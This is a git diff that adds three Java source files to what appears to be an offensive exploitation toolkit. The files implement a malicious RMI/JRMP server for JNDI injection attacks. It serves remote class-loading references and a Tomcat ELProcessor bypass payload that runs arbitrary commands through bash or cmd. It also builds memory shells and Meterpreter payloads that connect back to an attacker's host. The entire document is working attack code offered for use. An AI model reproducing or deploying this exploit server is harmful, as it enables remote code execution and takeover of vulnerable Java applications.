diff --git a/src/main/java/com/qi4l/JYso/RMIServer.java b/src/main/java/com/qi4l/JYso/RMIServer.java new file mode 100644 index 0000000..c33f0e5 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/RMIServer.java @@ -0,0 +1,323 @@ +package com.qi4l.JYso; + +import com.qi4l.JYso.controllers.rmi.Basic; +import com.qi4l.JYso.controllers.rmi.ELProcessor; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.jndi.rmi.registry.ReferenceWrapper; +import org.apache.naming.ResourceRef; +import org.fusesource.jansi.Ansi; +import sun.rmi.server.UnicastServerRef; +import sun.rmi.transport.TransportConstants; + +import javax.naming.Reference; +import javax.net.ServerSocketFactory; +import java.io.BufferedInputStream; +import java.io.BufferedOutputStream; +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.ObjectStreamClass; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.ServerSocket; +import java.net.Socket; +import java.net.SocketException; +import java.net.URL; +import java.net.URLClassLoader; +import java.rmi.MarshalException; +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObject; +import java.rmi.server.UID; +import java.util.Arrays; +import java.util.Locale; + +import static com.qi4l.JYso.gadgets.Config.Config.codeBase; +import static com.qi4l.JYso.gadgets.Config.Config.httpPort; +import static com.qi4l.JYso.gadgets.Config.Config.ip; +import static com.qi4l.JYso.gadgets.Config.Config.rmiPort; +import static org.fusesource.jansi.Ansi.ansi; + +/** + * Minimal JRMP listener used by JNDI/RMI lookup. + * Supports: + * 1) /basic/... and /ELProcessor/... (legacy route compatibility) + * 2) /remote/{fully.qualified.ClassName} (remote class loading) + * 3) /local/{fully.qualified.ClassName} (local class loading) + */ +@SuppressWarnings("restriction") +public class RMIServer implements Runnable { + + private final ServerSocket ss; + private final Object waitLock = new Object(); + private final URL classpathUrl; + private boolean exit; + + public RMIServer(int port, URL classpathUrl) throws IOException { + this.classpathUrl = classpathUrl; + this.ss = ServerSocketFactory.getDefault().createServerSocket(port); + } + + public static void start() { + String url = (codeBase == null || codeBase.isEmpty()) ? "http://" + ip + ":" + httpPort + "/" : codeBase; + + try { + System.out.println(ansi().render("@|green [+]|@ RMI Server Start Listening on >> " + rmiPort + "...")); + RMIServer c = new RMIServer(rmiPort, new URL(url)); + c.run(); + } catch (Exception e) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + } + + private static void handleDGC(ObjectInputStream ois) throws IOException, ClassNotFoundException { + ois.readInt(); // method + ois.readLong(); // hash + System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject())); + } + + public void close() { + this.exit = true; + try { + this.ss.close(); + } catch (IOException ignored) { + } + synchronized (this.waitLock) { + this.waitLock.notify(); + } + } + + @Override + public void run() { + try { + Socket s = null; + try { + while (!this.exit && (s = this.ss.accept()) != null) { + try { + s.setSoTimeout(5000); + InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); + + InputStream is = s.getInputStream(); + InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); + bufIn.mark(4); + + try (DataInputStream in = new DataInputStream(bufIn)) { + int magic = in.readInt(); + short version = in.readShort(); + if (magic != TransportConstants.Magic || version != TransportConstants.Version) { + s.close(); + continue; + } + + OutputStream sockOut = s.getOutputStream(); + BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); + try (DataOutputStream out = new DataOutputStream(bufOut)) { + byte protocol = in.readByte(); + switch (protocol) { + case TransportConstants.StreamProtocol: + out.writeByte(TransportConstants.ProtocolAck); + if (remote.getHostName() != null) { + out.writeUTF(remote.getHostName()); + } else { + out.writeUTF(remote.getAddress().toString()); + } + out.writeInt(remote.getPort()); + out.flush(); + in.readUTF(); + in.readInt(); + case TransportConstants.SingleOpProtocol: + doMessage(s, in, out); + break; + default: + case TransportConstants.MultiplexProtocol: + System.err.println("Unsupported protocol"); + s.close(); + continue; + } + + bufOut.flush(); + out.flush(); + } + } + } catch (InterruptedException e) { + return; + } catch (Exception e) { + e.printStackTrace(System.err); + } finally { + System.out.println(Ansi.ansi().fgRgb(255, 165, 0).a(" Closing connection").reset()); + if (s != null) { + s.close(); + } + } + } + } finally { + if (s != null) { + s.close(); + } + if (this.ss != null) { + this.ss.close(); + } + } + } catch (SocketException ignored) { + } catch (Exception e) { + e.printStackTrace(System.err); + } + } + + private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception { + int op = in.read(); + + switch (op) { + case TransportConstants.Call: + doCall(in, out); + break; + case TransportConstants.Ping: + out.writeByte(TransportConstants.PingAck); + break; + case TransportConstants.DGCAck: + UID.read(in); + break; + default: + throw new IOException("RMI server cannot recognize operation: " + op); + } + + s.close(); + } + + private void doCall(DataInputStream in, DataOutputStream out) throws Exception { + ObjectInputStream ois = new ObjectInputStream(in) { + @Override + protected Class resolveClass(ObjectStreamClass desc) throws IOException { + if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) { + return ObjID[].class; + } else if ("java.rmi.server.ObjID".equals(desc.getName())) { + return ObjID.class; + } else if ("java.rmi.server.UID".equals(desc.getName())) { + return UID.class; + } else if ("java.lang.String".equals(desc.getName())) { + return String.class; + } + throw new IOException("RMI server cannot deserialize this type"); + } + }; + + ObjID read; + try { + read = ObjID.read(ois); + } catch (IOException e) { + throw new MarshalException("RMI server cannot read ObjID", e); + } + + if (read.hashCode() == 2) { + handleDGC(ois); + } else if (read.hashCode() == 0) { + if (handleRMI(ois, out)) { + synchronized (this.waitLock) { + this.waitLock.notifyAll(); + } + } + } + } + + private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Exception { + int method = ois.readInt(); + ois.readLong(); + + if (method != 2) { + return false; + } + + String object = ((String) ois.readObject()).replace('\\', '/'); + if (object.startsWith("/")) { + object = object.substring(1); + } + String objectLower = object.toLowerCase(Locale.ROOT); + + out.writeByte(TransportConstants.Return); + try (ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl)) { + oos.writeByte(TransportConstants.NormalReturn); + new UID().write(oos); + + ReferenceWrapper rw = null; + if (objectLower.startsWith("elprocessor")) { + ResourceRef result = ELProcessor.refTomcatBypass(object); + rw = new ReferenceWrapper(result); + } else if (objectLower.startsWith("basic")) { + Reference result = Basic.basic(object); + rw = wrapReference(result); + } else if (objectLower.startsWith("remote/")) { + String className = normalizeClassName(object.substring("remote/".length())); + Reference result = new Reference("Foo", className, codeBase); + System.out.println(ansi().fgBrightBlue().a(" [RMI] remote class loading -> " + className).reset()); + rw = wrapReference(result); + } else if (objectLower.startsWith("local/")) { + String className = normalizeClassName(object.substring("local/".length())); + Reference result = new Reference("Foo", className, null); + System.out.println(ansi().fgBrightBlue().a(" [RMI] local class loading -> " + className).reset()); + rw = wrapReference(result); + } else { + System.out.println(ansi().fgBrightRed().a(" [RMI] unsupported lookup path: " + object).reset()); + } + + if (rw == null) { + oos.writeObject(null); + oos.flush(); + out.flush(); + return false; + } + + java.lang.reflect.Field refF = RemoteObject.class.getDeclaredField("ref"); + refF.setAccessible(true); + refF.set(rw, new UnicastServerRef(12345)); + + oos.writeObject(rw); + oos.flush(); + out.flush(); + } + return true; + } + + private ReferenceWrapper wrapReference(Reference reference) throws Exception { + ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class); + Reflections.setFieldValue(rw, "wrappee", reference); + return rw; + } + + private String normalizeClassName(String classPathLikeName) { + return classPathLikeName.replace('/', '.').trim(); + } + + static final class MarshalOutputStream extends ObjectOutputStream { + + private final URL sendUrl; + + MarshalOutputStream(OutputStream out, URL u) throws IOException { + super(out); + this.sendUrl = u; + } + + @Override + protected void annotateClass(Class cl) throws IOException { + if (this.sendUrl != null) { + writeObject(this.sendUrl.toString()); + } else if (!(cl.getClassLoader() instanceof URLClassLoader)) { + writeObject(null); + } else { + URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs(); + StringBuilder cb = new StringBuilder(); + for (URL u : us) { + cb.append(u.toString()); + } + writeObject(cb.toString()); + } + } + + @Override + protected void annotateProxyClass(Class cl) throws IOException { + annotateClass(cl); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/controllers/rmi/Basic.java b/src/main/java/com/qi4l/JYso/controllers/rmi/Basic.java new file mode 100644 index 0000000..274b06a --- /dev/null +++ b/src/main/java/com/qi4l/JYso/controllers/rmi/Basic.java @@ -0,0 +1,135 @@ +package com.qi4l.JYso.controllers.rmi; + +import com.qi4l.JYso.enumtypes.GadgetType; +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Utils; +import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler; +import com.qi4l.JYso.template.Meterpreter; +import org.fusesource.jansi.Ansi; + +import javax.naming.Reference; +import java.net.URL; +import java.util.Locale; + +/** + * Build remote-loading Reference for RMI lookup path: + * basic/{payload}/{gadget}/{arg} + */ +public class Basic { + private static String payloadType; + private static String[] params = new String[0]; + private static GadgetType gadgetType; + + public static Reference basic(String base) throws Exception { + parse(base); + + String className; + if (payloadType.contains("E-")) { + String simpleName = suffixAfterDash(payloadType); + Class echoClass = Class.forName(ClassNameHandler.searchClassByName(simpleName)); + className = echoClass.getName(); + } else if (payloadType.contains("M-")) { + className = Gadgets.createClassB(suffixAfterDash(payloadType)); + } else if (payloadType.contains("command")) { + if (params.length == 0) { + throw new IncorrectParamsException("Missing command parameters."); + } + className = Gadgets.createClassB(params[0]); + } else if (payloadType.contains("msf")) { + className = Meterpreter.class.getName(); + } else { + throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType); + } + + URL targetUrl = new URL(new URL(Config.codeBase), className.replace('.', '/') + ".class"); + System.out.println(Ansi.ansi().fgBrightBlue().a(" redirecting to " + targetUrl).reset()); + + return new Reference("Foo", className, Config.codeBase); + } + + private static void parse(String base) throws Exception { + System.out.println("- JNDI RMI Remote Reference Links "); + try { + String normalized = base.replace('\\', '/'); + payloadType = segment(normalized, 1); + if (payloadType.isEmpty()) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized); + } + System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset()); + + gadgetType = parseGadgetType(normalized); + params = resolveParams(normalized); + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) { + throw (UnSupportedPayloadTypeException) e; + } + throw new IncorrectParamsException("Incorrect params >> " + base); + } + } + + private static GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException { + String segment = segment(base, 2); + if (segment.isEmpty()) { + return null; + } + try { + return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT)); + } catch (IllegalArgumentException ignored) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment); + } + } + + private static String[] resolveParams(String base) throws Exception { + if (gadgetType == null) { + return new String[0]; + } + + switch (gadgetType) { + case base64: + String cmd = Utils.getCmdFromBase(base); + System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); + return new String[]{cmd}; + case shell: + String encoded = Utils.getCmdFromBase(base); + String decoded = Utils.base64Decode(encoded); + System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset()); + return decoded.split(" "); + case msf: + String[] results = Utils.getIPAndPortFromBase(base); + Config.rhost = results[0]; + Config.rport = results[1]; + System.out.println(" RemoteHost: " + results[0]); + System.out.println(" RemotePort: " + results[1]); + return results; + default: + return new String[0]; + } + } + + private static String segment(String base, int index) { + int cursor = 0; + int found = 0; + while (cursor < base.length()) { + int nextSlash = base.indexOf('/', cursor); + if (nextSlash == -1) { + nextSlash = base.length(); + } + if (nextSlash > cursor) { + if (found == index) { + return base.substring(cursor, nextSlash); + } + found++; + } + cursor = nextSlash + 1; + } + return ""; + } + + private static String suffixAfterDash(String value) { + int dashIndex = value.indexOf('-'); + return dashIndex >= 0 ? value.substring(dashIndex + 1) : value; + } +} diff --git a/src/main/java/com/qi4l/JYso/controllers/rmi/ELProcessor.java b/src/main/java/com/qi4l/JYso/controllers/rmi/ELProcessor.java new file mode 100644 index 0000000..6b64427 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/controllers/rmi/ELProcessor.java @@ -0,0 +1,167 @@ +package com.qi4l.JYso.controllers.rmi; + +import com.qi4l.JYso.enumtypes.GadgetType; +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.InjShell; +import com.qi4l.JYso.gadgets.utils.Utils; +import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler; +import com.qi4l.JYso.template.Meterpreter; +import org.apache.naming.ResourceRef; +import org.fusesource.jansi.Ansi; + +import javax.naming.StringRefAddr; +import java.util.Locale; + +/** + * Build local-loading ResourceRef for RMI lookup path: + * ELProcessor/{payload}/{gadget}/{arg} + */ +public class ELProcessor { + private static final String SCRIPT_TEMPLATE = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + + ".newInstance().getEngineByName(\"JavaScript\")" + + ".eval(\"%s\")}"; + + private static String payloadType; + private static String[] params = new String[0]; + private static GadgetType gadgetType; + + public static ResourceRef refTomcatBypass(String base) throws Exception { + parse(base); + + ResourceRef ref = new ResourceRef( + "javax.el.ELProcessor", + null, + "", + "", + true, + "org.apache.naming.factory.BeanFactory", + null + ); + ref.add(new StringRefAddr("forceString", "x=eval")); + ref.add(new StringRefAddr("x", buildPayloadScript())); + return ref; + } + + private static void parse(String base) { + System.out.println("- JNDI RMI Local Reference Links + ELProcessor"); + try { + String normalized = base.replace('\\', '/'); + payloadType = segment(normalized, 1); + if (payloadType.isEmpty()) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized); + } + System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset()); + + gadgetType = parseGadgetType(normalized); + params = resolveParams(normalized); + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) { + throw (UnSupportedPayloadTypeException) e; + } + throw new IncorrectParamsException("Incorrect params: " + base); + } + } + + private static String buildPayloadScript() throws Exception { + String scriptBody; + if (payloadType.contains("E-")) { + String simpleName = suffixAfterDash(payloadType); + Class echoClass = Class.forName(ClassNameHandler.searchClassByName(simpleName)); + scriptBody = InjShell.injectClass(echoClass); + } else if (payloadType.contains("M-")) { + scriptBody = Gadgets.createClassT(suffixAfterDash(payloadType)); + } else if (payloadType.contains("command")) { + if (params.length == 0) { + throw new IncorrectParamsException("Missing command parameters."); + } + scriptBody = getExecCode(params[0]); + } else if (payloadType.contains("msf")) { + scriptBody = InjShell.injectClass(Meterpreter.class); + } else { + throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType); + } + + return String.format(SCRIPT_TEMPLATE, scriptBody.replace("\"", "\\\"")); + } + + private static GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException { + String segment = segment(base, 2); + if (segment.isEmpty()) { + return null; + } + + try { + return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT)); + } catch (IllegalArgumentException ignored) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment); + } + } + + private static String[] resolveParams(String base) throws Exception { + if (gadgetType == null) { + return new String[0]; + } + + switch (gadgetType) { + case base64: + String cmd = Utils.getCmdFromBase(base); + System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); + return new String[]{cmd}; + case shell: + String encoded = Utils.getCmdFromBase(base); + String decoded = Utils.base64Decode(encoded); + System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset()); + return decoded.split(" "); + case msf: + String[] results = Utils.getIPAndPortFromBase(base); + Config.rhost = results[0]; + Config.rport = results[1]; + System.out.println(" RemoteHost: " + results[0]); + System.out.println(" RemotePort: " + results[1]); + return results; + default: + return new String[0]; + } + } + + private static String getExecCode(String cmd) { + return "var str_s=new Array(3);\n" + + "if(java.io.File.separator.equals('/')){\n" + + "str_s[0]='/bin/bash';\n" + + "str_s[1]='-c';\n" + + "str_s[2]='" + cmd + "';\n" + + "}else{\n" + + "str_s[0]='cmd';\n" + + "str_s[1]='/C';\n" + + "str_s[2]='" + cmd + "';\n" + + "}\n" + + "java.lang.Runtime.getRuntime().exec(str_s);"; + } + + private static String segment(String base, int index) { + int cursor = 0; + int found = 0; + while (cursor < base.length()) { + int nextSlash = base.indexOf('/', cursor); + if (nextSlash == -1) { + nextSlash = base.length(); + } + if (nextSlash > cursor) { + if (found == index) { + return base.substring(cursor, nextSlash); + } + found++; + } + cursor = nextSlash + 1; + } + return ""; + } + + private static String suffixAfterDash(String value) { + int dashIndex = value.indexOf('-'); + return dashIndex >= 0 ? value.substring(dashIndex + 1) : value; + } +}